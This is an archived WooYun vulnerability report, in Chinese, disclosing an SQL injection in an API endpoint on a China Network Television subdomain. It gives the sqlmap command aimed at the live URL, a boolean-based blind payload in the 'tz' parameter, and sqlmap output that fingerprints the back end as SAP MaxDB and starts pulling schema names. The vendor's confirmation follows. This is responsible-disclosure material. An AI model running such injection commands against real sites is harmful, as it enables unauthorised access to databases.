当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046271

漏洞标题:中国网络电视台#分站SQL一枚!

相关厂商:中国网络电视台

漏洞作者: he2des

提交时间:2013-12-19 12:27

修复时间:2014-02-02 12:28

公开时间:2014-02-02 12:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-19: 细节已通知厂商并且等待厂商处理中
2013-12-19: 厂商已经确认,细节仅向厂商公开
2013-12-29: 细节向核心白帽子及相关领域专家公开
2014-01-08: 细节向普通白帽子公开
2014-01-18: 细节向实习白帽子公开
2014-02-02: 细节向公众公开

简要描述:

详细说明:

#1:注入点,无意中某个视频页面看到的.

sqlmap.py -u "http://vdn.apps.cntv.cn/api/getVideoInfoForCBox
.do?pid=dac8e2d4383b3ddd528fd8ab0a4e5c44&tz=-8&from=cbox" --users


QQ图片20131217195628.jpg


CDN啊,坑爹。

漏洞证明:

#1:注入点确实存在,但是乱码,说声坑爹啊。

Place: GET
Parameter: tz
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pid=dac8e2d4383b3ddd528fd8ab0a4e5c44&tz=-8) AND 8531=8531 AND (1822
=1822&from=cbox
---
[19:45:14] [INFO] testing MySQL
[19:45:16] [INFO] confirming MySQL
[19:45:17] [WARNING] the back-end DBMS is not MySQL
[19:45:17] [INFO] testing Oracle
[19:45:19] [WARNING] the back-end DBMS is not Oracle
[19:45:19] [INFO] testing PostgreSQL
[19:45:20] [WARNING] the back-end DBMS is not PostgreSQL
[19:45:20] [INFO] testing Microsoft SQL Server
[19:45:22] [WARNING] the back-end DBMS is not Microsoft SQL Server
[19:45:22] [INFO] testing SQLite
[19:45:24] [INFO] confirming SQLite
[19:45:26] [WARNING] the back-end DBMS is not SQLite
[19:45:26] [INFO] testing Microsoft Access
[19:45:27] [WARNING] the back-end DBMS is not Microsoft Access
[19:45:27] [INFO] testing Firebird
[19:45:30] [WARNING] the back-end DBMS is not Firebird
[19:45:30] [INFO] testing SAP MaxDB
[19:45:31] [INFO] confirming SAP MaxDB
[19:45:33] [INFO] the back-end DBMS is SAP MaxDB
back-end DBMS: SAP MaxDB
[19:45:33] [INFO] fetching database names
[19:45:33] [INFO] retrieved: &@)
[19:46:21] [INFO] fetching number of distinct values for column 'eheM.schemaname
'
[19:46:21] [INFO] retrieved:M#&A
y-DB0[19:50:22] [CRITICAL] connection timed out to the target url or proxy, sq
lmap is going to retry the request
[19:50:53] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
kG22R7;b


QQ图片20131217194554.jpg

修复方案:

过滤哦,亲~

版权声明:转载请注明来源 he2des@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-12-19 15:26

厂商回复:

非常感谢!~~感谢您对我们的支持和帮助!~~~

最新状态:

暂无